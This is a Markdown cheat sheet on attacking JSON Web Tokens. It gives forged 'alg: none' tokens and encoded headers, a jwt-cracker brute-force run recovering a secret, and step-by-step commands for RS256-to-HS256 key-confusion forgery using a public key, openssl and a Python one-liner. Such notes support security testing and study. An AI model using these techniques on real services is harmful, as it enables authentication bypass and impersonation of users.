93 lines
3.5 KiB
Markdown
93 lines
3.5 KiB
Markdown
# JSON Web Token
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## Build up
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```sh
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header.payload.signature
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```
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1. **Header**: This consists of the algorithm used and the type of the token.
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```sh
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{ "alg": "HS256", "typ": "JWT"}
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```
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2. **Payload**: This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.
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3. **Signature**: This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to)
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## NONE Algorithm Vulnerability
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* Example with `alg: NONE`, so no third part is needed.
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```sh
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eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.
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```
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* Encoded headers are as follows
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* `{"type": "JWT", "alg": "none"}`
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```
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eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
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```
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* `{"typ":"JWT","alg":"NONE"}` with trailing `\n`
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```
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eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K
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```
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__Remember to include the `.` at the end even if there is no signature
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## Brute Force
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```python
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HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
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```
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* [jwt-cracker](https://github.com/lmammino/jwt-cracker.git)
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|Parameter|Details|
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|---------|-------|
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|Token | The HS256 JWT Token|
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|Alphabet |Alphabet used to crack (default:"abcdefghijklmnopqrstuvwxyz")|
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|max-length|Secret max length (default: 12)|
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```sh
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[whackx@manbox jwt-cracker]$ node index.js eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz 4
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Attempts: 100000
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Attempts: 200000
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Attempts: 300000
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SECRET FOUND: pass
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Time taken (sec): 11.605
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Attempts: 346830
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```
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## HS256 Vulnerability
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It is calculated by using server `K_pub`, which may be gained via content of the server cert
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### Build Up
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* Changing the header to `{"typ": "JWT", "alg": "HS256"}`, spaces inbetween values.
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```sh
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$ echo -n '{"typ": "JWT", "alg": "HS256"}' | base64
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eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9
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```
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* Encoding the payload, no spaces inbetween. Cut `==` at the end.
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```sh
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echo -n '{"iss":"http://localhost","iat":1585323784,"exp":1585323904,"data":{"hello":"world"}}' | base64
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eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ==
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```
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* Crafting the HMAC signature
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* Convert `K_pub` file to hex
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```sh
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cat id_rsa.pub | xxd -p | tr -d "\\n"
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```
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* Sign the message to get the signature as hex value
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```sh
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echo -n "eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey <converted_public_hex>
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```
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* Decode hex to binary data and reencode as base64 via python
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```python
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python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('<signature_as_hexval>')).replace('=','')\")"
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```
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## Tools
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* [JWTtool](https://github.com/ticarpi/jwt_tool.git)
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* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token)
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* https://jwt.io
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* [jwtcrack](https://github.com/Sjord/jwtcrack)
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